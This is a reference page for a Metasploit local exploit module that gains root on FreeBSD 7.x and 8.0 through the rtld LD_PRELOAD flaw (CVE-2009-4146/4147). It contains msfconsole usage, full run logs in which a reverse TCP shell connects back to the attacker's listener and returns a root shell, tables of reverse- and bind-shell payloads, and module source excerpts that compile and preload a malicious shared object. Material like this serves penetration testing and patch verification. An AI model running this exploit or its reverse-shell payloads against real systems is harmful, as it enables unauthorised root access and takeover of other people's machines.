FreeBSD rtld execl() Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/freebsd/local/rtld_execl_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: FreeBSD rtld execl() Privilege Escalation
Module: exploit/freebsd/local/rtld_execl_priv_esc
Source code: modules/exploits/freebsd/local/rtld_execl_priv_esc.rb
Disclosure date: 2009-11-30
Last modification time: 2020-08-24 11:47:50 +0000
Supported architecture(s): x86, x64, armle, aarch64, ppc, mipsle, mipsbe
Supported platform(s): BSD
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2009-4146, CVE-2009-4147

This module exploits a vulnerability in the FreeBSD run-time link-editor (rtld). The rtld unsetenv() function fails to remove LD_* environment variables if __findenv() fails. This can be abused to load arbitrary shared objects using LD_PRELOAD, resulting in privileged code execution. This module has been tested successfully on: FreeBSD 7.2-RELEASE (amd64); and FreeBSD 8.0-RELEASE (amd64).

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/freebsd/local/rtld_execl_priv_esc
msf exploit(rtld_execl_priv_esc) > show targets
    ... a list of targets ...
msf exploit(rtld_execl_priv_esc) > set TARGET target-id
msf exploit(rtld_execl_priv_esc) > show options
    ... show and set options ...
msf exploit(rtld_execl_priv_esc) > set SESSION session-id
msf exploit(rtld_execl_priv_esc) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Description


This module exploits a vulnerability in the FreeBSD run-time link-editor (rtld).

The rtld unsetenv() function fails to remove LD_* environment variables if __findenv() fails.

This can be abused to load arbitrary shared objects using LD_PRELOAD, resulting in privileged code execution.

Vulnerable Application


This module has been tested successfully on:

  • FreeBSD 7.2-RELEASE (amd64)
  • FreeBSD 8.0-RELEASE (amd64)

Verification Steps


  1. Start msfconsole
  2. Get a session
  3. use exploit/freebsd/local/rtld_execl_priv_esc
  4. set SESSION <SESSION>
  5. check
  6. run
  7. You should get a new root session

Options


SESSION

Which session to use, which can be viewed with sessions

Scenarios


FreeBSD 7.2-RELEASE (amd64)

  msf5 > use exploit/freebsd/local/rtld_execl_priv_esc 
  msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set session 1
  session => 1
  msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set verbose true
  verbose => true
  msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set lhost 172.16.191.165
  lhost => 172.16.191.165
  msf5 exploit(freebsd/local/rtld_execl_priv_esc) > run

  [*] Started reverse TCP handler on 172.16.191.165:4444 
  [+] FreeBSD version 7.2-RELEASE appears vulnerable
  [+] gcc is installed
  [+] /sbin/ping is setuid
  [*] Writing '/tmp/.Qv98Z0.c' (149 bytes) ...
  [*] Max line length is 131073
  [*] Writing 149 bytes in 1 chunks of 543 bytes (octal-encoded), using printf
  [*] Writing '/tmp/.Re1l7JG.c' (413 bytes) ...
  [*] Max line length is 131073
  [*] Writing 413 bytes in 1 chunks of 1470 bytes (octal-encoded), using printf
  [*] Writing '/tmp/.X85bYhTRF' (172 bytes) ...
  [*] Max line length is 131073
  [*] Writing 172 bytes in 1 chunks of 524 bytes (octal-encoded), using printf
  [*] Launching exploit...
  [*] /libexec/ld-elf.so.1: environment corrupt; missing value for 
  [*] /libexec/ld-elf.so.1: environment corrupt; missing value for 
  [*] /libexec/ld-elf.so.1: environment corrupt; missing value for 
  [*] /libexec/ld-elf.so.1: environment corrupt; missing value for 
  [*] /libexec/ld-elf.so.1: environment corrupt; missing value for 
  [*] usage: ping [-AaDdfnoQqRrv] [-c count] [-G sweepmaxsize] [-g sweepminsize]
  [*]             [-h sweepincrsize] [-i wait] [-l preload] [-M mask | time] [-m ttl]
  [*]             [-P policy] [-p pattern] [-S src_addr] [-s packetsize] [-t timeout]
  [*]             [-W waittime] [-z tos] host
  [*]        ping [-AaDdfLnoQqRrv] [-c count] [-I iface] [-i wait] [-l preload]
  [*]             [-M mask | time] [-m ttl] [-P policy] [-p pattern] [-S src_addr]
  [*]             [-s packetsize] [-T ttl] [-t timeout] [-W waittime]
  [*]             [-z tos] mcast-group
  [*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.241:61425) at 2019-05-03 04:34:07 -0400
  [+] Deleted /tmp/.Qv98Z0.c
  [+] Deleted /tmp/.Qv98Z0.o
  [+] Deleted /tmp/.Fv3rwXn.0
  [+] Deleted /tmp/.Re1l7JG.c
  [+] Deleted /tmp/.Re1l7JG
  [+] Deleted /tmp/.X85bYhTRF

  id
  uid=0(root) gid=0(wheel) groups=0(wheel),1001(user)
  uname -a
  FreeBSD freebsd-7-2-amd64.local 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Fri May  1 07:18:07 UTC 2009     [email protected]:/usr/obj/usr/src/sys/GENERIC  amd64

FreeBSD 8.0-RELEASE (amd64)

  msf5 > use exploit/freebsd/local/rtld_execl_priv_esc 
  msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set session 1
  session => 1
  msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set verbose true
  verbose => true
  msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set lhost 172.16.191.165
  lhost => 172.16.191.165
  msf5 exploit(freebsd/local/rtld_execl_priv_esc) > run

  [*] Started reverse TCP handler on 172.16.191.165:4444 
  [+] FreeBSD version 8.0-RELEASE appears vulnerable
  [+] gcc is installed
  [+] /sbin/ping is setuid
  [*] Writing '/tmp/.ppHMfMh.c' (147 bytes) ...
  [*] Max line length is 131073
  [*] Writing 147 bytes in 1 chunks of 536 bytes (octal-encoded), using printf
  [*] Writing '/tmp/.aSlXLjlX.c' (415 bytes) ...
  [*] Max line length is 131073
  [*] Writing 415 bytes in 1 chunks of 1476 bytes (octal-encoded), using printf
  [*] Writing '/tmp/.9BdfNzy' (172 bytes) ...
  [*] Max line length is 131073
  [*] Writing 172 bytes in 1 chunks of 524 bytes (octal-encoded), using printf
  [*] Launching exploit...
  [*] /libexec/ld-elf.so.1: environment corrupt; missing value for 
  [*] /libexec/ld-elf.so.1: environment corrupt; missing value for 
  [*] /libexec/ld-elf.so.1: environment corrupt; missing value for 
  [*] /libexec/ld-elf.so.1: environment corrupt; missing value for 
  [*] /libexec/ld-elf.so.1: environment corrupt; missing value for 
  [*] /libexec/ld-elf.so.1: environment corrupt; missing value for 
  [*] usage: ping [-AaDdfnoQqRrv] [-c count] [-G sweepmaxsize] [-g sweepminsize]
  [*]             [-h sweepincrsize] [-i wait] [-l preload] [-M mask | time] [-m ttl]
  [*]             [-P policy] [-p pattern] [-S src_addr] [-s packetsize] [-t timeout]
  [*]             [-W waittime] [-z tos] host
  [*]        ping [-AaDdfLnoQqRrv] [-c count] [-I iface] [-i wait] [-l preload]
  [*]             [-M mask | time] [-m ttl] [-P policy] [-p pattern] [-S src_addr]
  [*]             [-s packetsize] [-T ttl] [-t timeout] [-W waittime]
  [*]             [-z tos] mcast-group
  [*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.239:57343) at 2019-05-03 04:36:16 -0400
  [+] Deleted /tmp/.ppHMfMh.c
  [+] Deleted /tmp/.ppHMfMh.o
  [+] Deleted /tmp/.VWnmV5K86.0
  [+] Deleted /tmp/.aSlXLjlX.c
  [+] Deleted /tmp/.aSlXLjlX
  [+] Deleted /tmp/.9BdfNzy

  id
  uid=0(root) gid=0(wheel) groups=0(wheel)
  uname -a
  FreeBSD freebsd-8-0-amd64.local 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:02:08 UTC 2009     [email protected]:/usr/obj/usr/src/sys/GENERIC  amd64

Go back to menu.

Msfconsole Usage


Here is how the freebsd/local/rtld_execl_priv_esc exploit module looks in the msfconsole:

msf6 > use exploit/freebsd/local/rtld_execl_priv_esc

[*] Using configured payload bsd/x86/shell_reverse_tcp
msf6 exploit(freebsd/local/rtld_execl_priv_esc) > show info

       Name: FreeBSD rtld execl() Privilege Escalation
     Module: exploit/freebsd/local/rtld_execl_priv_esc
   Platform: BSD
       Arch: x86, x64, armle, aarch64, ppc, mipsle, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-11-30

Provided by:
  Kingcope
  stealth
  bcoles <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name             Current Setting  Required  Description
  ----             ---------------  --------  -----------
  SESSION                           yes       The session to run this module on.
  SUID_EXECUTABLE  /sbin/ping       yes       Path to a SUID executable

Payload information:

Description:
  This module exploits a vulnerability in the FreeBSD run-time 
  link-editor (rtld). The rtld `unsetenv()` function fails to remove 
  `LD_*` environment variables if `__findenv()` fails. This can be 
  abused to load arbitrary shared objects using `LD_PRELOAD`, 
  resulting in privileged code execution. This module has been tested 
  successfully on: FreeBSD 7.2-RELEASE (amd64); and FreeBSD 
  8.0-RELEASE (amd64).

References:
  http://www.securityfocus.com/bid/37154
  https://nvd.nist.gov/vuln/detail/CVE-2009-4146
  https://nvd.nist.gov/vuln/detail/CVE-2009-4147
  Soundtrack: https://www.youtube.com/watch?v=dDnhthI27Fg
  https://seclists.org/fulldisclosure/2009/Nov/371
  https://c-skills.blogspot.com/2009/11/always-check-return-value.html
  https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html
  https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/
  https://securitytracker.com/id/1023250

Module Options


This is a complete list of options available in the freebsd/local/rtld_execl_priv_esc exploit:

msf6 exploit(freebsd/local/rtld_execl_priv_esc) > show options

Module options (exploit/freebsd/local/rtld_execl_priv_esc):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on.
   SUID_EXECUTABLE  /sbin/ping       yes       Path to a SUID executable

Payload options (bsd/x86/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the freebsd/local/rtld_execl_priv_esc exploit:

msf6 exploit(freebsd/local/rtld_execl_priv_esc) > show advanced

Module advanced options (exploit/freebsd/local/rtld_execl_priv_esc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                10               no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (bsd/x86/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AppendExit                  false            no        Append a stub that executes the exit(0) system call
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   PrependSetgid               false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid             false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid            true             no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid            true             no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid             false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid               false            no        Prepend a stub that executes the setuid(0) system call
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the freebsd/local/rtld_execl_priv_esc module can exploit:

msf6 exploit(freebsd/local/rtld_execl_priv_esc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the freebsd/local/rtld_execl_priv_esc exploit:

msf6 exploit(freebsd/local/rtld_execl_priv_esc) > show payloads

Compatible Payloads
===================

   #   Name                                     Disclosure Date  Rank    Check  Description
   -   ----                                     ---------------  ----    -----  -----------
   0   payload/bsd/x64/exec                                      normal  No     BSD x64 Execute Command
   1   payload/bsd/x64/shell_bind_ipv6_tcp                       normal  No     BSD x64 Command Shell, Bind TCP Inline (IPv6)
   2   payload/bsd/x64/shell_bind_tcp                            normal  No     BSD x64 Shell Bind TCP
   3   payload/bsd/x64/shell_bind_tcp_small                      normal  No     BSD x64 Command Shell, Bind TCP Inline
   4   payload/bsd/x64/shell_reverse_ipv6_tcp                    normal  No     BSD x64 Command Shell, Reverse TCP Inline (IPv6)
   5   payload/bsd/x64/shell_reverse_tcp                         normal  No     BSD x64 Shell Reverse TCP
   6   payload/bsd/x64/shell_reverse_tcp_small                   normal  No     BSD x64 Command Shell, Reverse TCP Inline
   7   payload/bsd/x86/exec                                      normal  No     BSD Execute Command
   8   payload/bsd/x86/metsvc_bind_tcp                           normal  No     FreeBSD Meterpreter Service, Bind TCP
   9   payload/bsd/x86/metsvc_reverse_tcp                        normal  No     FreeBSD Meterpreter Service, Reverse TCP Inline
   10  payload/bsd/x86/shell/bind_ipv6_tcp                       normal  No     BSD Command Shell, Bind TCP Stager (IPv6)
   11  payload/bsd/x86/shell/bind_tcp                            normal  No     BSD Command Shell, Bind TCP Stager
   12  payload/bsd/x86/shell/reverse_ipv6_tcp                    normal  No     BSD Command Shell, Reverse TCP Stager (IPv6)
   13  payload/bsd/x86/shell/reverse_tcp                         normal  No     BSD Command Shell, Reverse TCP Stager
   14  payload/bsd/x86/shell_bind_tcp                            normal  No     BSD Command Shell, Bind TCP Inline
   15  payload/bsd/x86/shell_bind_tcp_ipv6                       normal  No     BSD Command Shell, Bind TCP Inline (IPv6)
   16  payload/bsd/x86/shell_reverse_tcp                         normal  No     BSD Command Shell, Reverse TCP Inline
   17  payload/bsd/x86/shell_reverse_tcp_ipv6                    normal  No     BSD Command Shell, Reverse TCP Inline (IPv6)
   18  payload/bsdi/x86/shell/bind_tcp                           normal  No     BSDi Command Shell, Bind TCP Stager
   19  payload/bsdi/x86/shell/reverse_tcp                        normal  No     BSDi Command Shell, Reverse TCP Stager
   20  payload/bsdi/x86/shell_bind_tcp                           normal  No     BSDi Command Shell, Bind TCP Inline
   21  payload/bsdi/x86/shell_reverse_tcp                        normal  No     BSDi Command Shell, Reverse TCP Inline
   22  payload/generic/custom                                    normal  No     Custom Payload
   23  payload/generic/debug_trap                                normal  No     Generic x86 Debug Trap
   24  payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   25  payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   26  payload/generic/tight_loop                                normal  No     Generic x86 Tight Loop

Evasion Options


Here is the full list of possible evasion options supported by the freebsd/local/rtld_execl_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(freebsd/local/rtld_execl_priv_esc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

FreeBSD version <KERNEL_RELEASE> is not vulnerable


Here is a relevant code snippet related to the "FreeBSD version <KERNEL_RELEASE> is not vulnerable" error message:

100:	  end
101:	
102:	  def check
103:	    kernel_release = cmd_exec('uname -r').to_s
104:	    unless kernel_release =~ /^(7\.[012]|8\.0)/
105:	      return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")
106:	    end
107:	
108:	    vprint_good("FreeBSD version #{kernel_release} appears vulnerable")
109:	
110:	    unless command_exists?('cc')

cc is not installed


Here is a relevant code snippet related to the "cc is not installed" error message:

106:	    end
107:	
108:	    vprint_good("FreeBSD version #{kernel_release} appears vulnerable")
109:	
110:	    unless command_exists?('cc')
111:	      return CheckCode::Safe('cc is not installed')
112:	    end
113:	
114:	    vprint_good('cc is installed')
115:	
116:	    unless setuid?(suid_exe_path)

<SUID_EXE_PATH> is not setuid


Here is a relevant code snippet related to the "<SUID_EXE_PATH> is not setuid" error message:

112:	    end
113:	
114:	    vprint_good('cc is installed')
115:	
116:	    unless setuid?(suid_exe_path)
117:	      return CheckCode::Detected("#{suid_exe_path} is not setuid")
118:	    end
119:	
120:	    vprint_good("#{suid_exe_path} is setuid")
121:	
122:	    CheckCode::Appears

Session already has root privileges. Set ForceExploit to override.


Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:

123:	  end
124:	
125:	  def exploit
126:	    if is_root?
127:	      unless datastore['ForceExploit']
128:	        fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
129:	      end
130:	    end
131:	
132:	    unless writable?(base_dir)
133:	      fail_with(Failure::BadConfig, "#{base_dir} is not writable")

<BASE_DIR> is not writable


Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:

128:	        fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
129:	      end
130:	    end
131:	
132:	    unless writable?(base_dir)
133:	      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
134:	    end
135:	
136:	    max_len = 1_000
137:	    if base_dir.length > max_len
138:	      fail_with(Failure::BadConfig, "#{base_dir} path length #{base_dir.length} is larger than #{max_len}")

<BASE_DIR> path length <BASE_DIR.LENGTH> is larger than <MAX_LEN>


Here is a relevant code snippet related to the "<BASE_DIR> path length <BASE_DIR.LENGTH> is larger than <MAX_LEN>" error message:

133:	      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
134:	    end
135:	
136:	    max_len = 1_000
137:	    if base_dir.length > max_len
138:	      fail_with(Failure::BadConfig, "#{base_dir} path length #{base_dir.length} is larger than #{max_len}")
139:	    end
140:	
141:	    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
142:	
143:	    executable_data = <<~LIB

<EXECUTABLE_PATH>.c failed to compile


Here is a relevant code snippet related to the "<EXECUTABLE_PATH>.c failed to compile" error message:

157:	    output = cmd_exec("cc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall")
158:	    register_file_for_cleanup("#{executable_path}.o")
159:	
160:	    unless output.blank?
161:	      print_error(output)
162:	      fail_with(Failure::Unknown, "#{executable_path}.c failed to compile")
163:	    end
164:	
165:	    lib_name = ".#{rand_text_alphanumeric(5..10)}"
166:	    lib_path = "#{base_dir}/#{lib_name}"
167:	    output = cmd_exec("cc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles")

<EXECUTABLE_PATH>.o failed to compile


Here is a relevant code snippet related to the "<EXECUTABLE_PATH>.o failed to compile" error message:

167:	    output = cmd_exec("cc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles")
168:	    register_file_for_cleanup("#{lib_path}.0")
169:	
170:	    unless output.blank?
171:	      print_error(output)
172:	      fail_with(Failure::Unknown, "#{executable_path}.o failed to compile")
173:	    end
174:	
175:	    exploit_data = <<~EXPLOIT
176:	      #include <stdio.h>
177:	      #include <stdlib.h>

<EXPLOIT_PATH>.c failed to compile


Here is a relevant code snippet related to the "<EXPLOIT_PATH>.c failed to compile" error message:

193:	    output = cmd_exec("cc #{exploit_path}.c -o #{exploit_path} -Wall")
194:	    register_file_for_cleanup(exploit_path)
195:	
196:	    unless output.blank?
197:	      print_error(output)
198:	      fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")
199:	    end
200:	
201:	    upload(payload_path, generate_payload_exe)
202:	    chmod(payload_path)
203:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Kingcope
  • stealth
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.